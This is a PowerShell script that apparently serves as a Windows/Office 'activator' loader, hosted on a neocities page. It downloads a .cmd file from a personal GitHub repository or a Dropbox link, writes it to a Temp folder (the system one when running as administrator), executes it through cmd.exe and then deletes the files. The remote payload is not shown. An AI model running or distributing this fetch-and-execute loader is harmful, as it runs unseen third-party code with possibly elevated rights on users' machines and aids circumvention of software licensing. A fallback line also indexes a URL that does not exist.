# The following code is hosted on https://jamesradio.neocities.org/activator $ErrorActionPreference = "Stop" # Enable TLSv1.2 for compatibility with older clients for current session [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $DownloadURL1 = 'https://raw.githubusercontent.com/Dreachu/AMA/refs/heads/main/AMA.cmd' $DownloadURL2 = 'https://www.dropbox.com/scl/fi/m495pv8fi5vu8pdfgc731/AMA.cmd?rlkey=oma3rcm64hrri9e70am8dehyw&st=7q8r8gol&dl=1' $URLs = @($DownloadURL1, $DownloadURL2) $ShuffledURLs = $URLs | Sort-Object { Get-Random } try { $response = Invoke-WebRequest -Uri $ShuffledURLs[0] -UseBasicParsing } catch { try { $response = Invoke-WebRequest -Uri $ShuffledURLs[1] -UseBasicParsing } catch { $response = Invoke-WebRequest -Uri $ShuffledURLs[2] -UseBasicParsing } } # Verify script integrity $releaseHash = '431B9AE95B0409BA49AB8D4AD02BD7E5AA7EAFABF66A515D69B9B4E5BFEAA337' $stream = New-Object IO.MemoryStream $writer = New-Object IO.StreamWriter $stream $writer.Write($response) $writer.Flush() $stream.Position = 0 $hash = [BitConverter]::ToString([Security.Cryptography.SHA256]::Create().ComputeHash($stream)) -replace '-' if ($hash -ne $releaseHash) { Write-Warning "Hash ($hash) mismatch, aborting!" $response = $null return } # Check for AutoRun registry which may create issues with CMD $paths = "HKCU:\SOFTWARE\Microsoft\Command Processor", "HKLM:\SOFTWARE\Microsoft\Command Processor" foreach ($path in $paths) { if (Get-ItemProperty -Path $path -Name "Autorun" -ErrorAction SilentlyContinue) { Write-Warning "Autorun registry found, CMD may crash! `nManually copy-paste the below command to fix...`nRemove-ItemProperty -Path '$path' -Name 'Autorun'" } } $rand = [Guid]::NewGuid().Guid $isAdmin = [bool]([Security.Principal.WindowsIdentity]::GetCurrent().Groups -match 'S-1-5-32-544') $FilePath = if ($isAdmin) { "$env:SystemRoot\Temp\MAS_$rand.cmd" } else { "$env:TEMP\MAS_$rand.cmd" } $ScriptArgs = "$args " $prefix = "@::: $rand `r`n" $content = $prefix + $response Set-Content -Path $FilePath -Value $content # Set ComSpec variable for current session in case its corrupt in the system $env:ComSpec = "$env:SystemRoot\system32\cmd.exe" Start-Process cmd.exe "/c """"$FilePath"" $ScriptArgs""" -Wait $FilePaths = @("$env:TEMP\MAS*.cmd", "$env:SystemRoot\Temp\MAS*.cmd") foreach ($FilePath in $FilePaths) { Get-Item $FilePath | Remove-Item }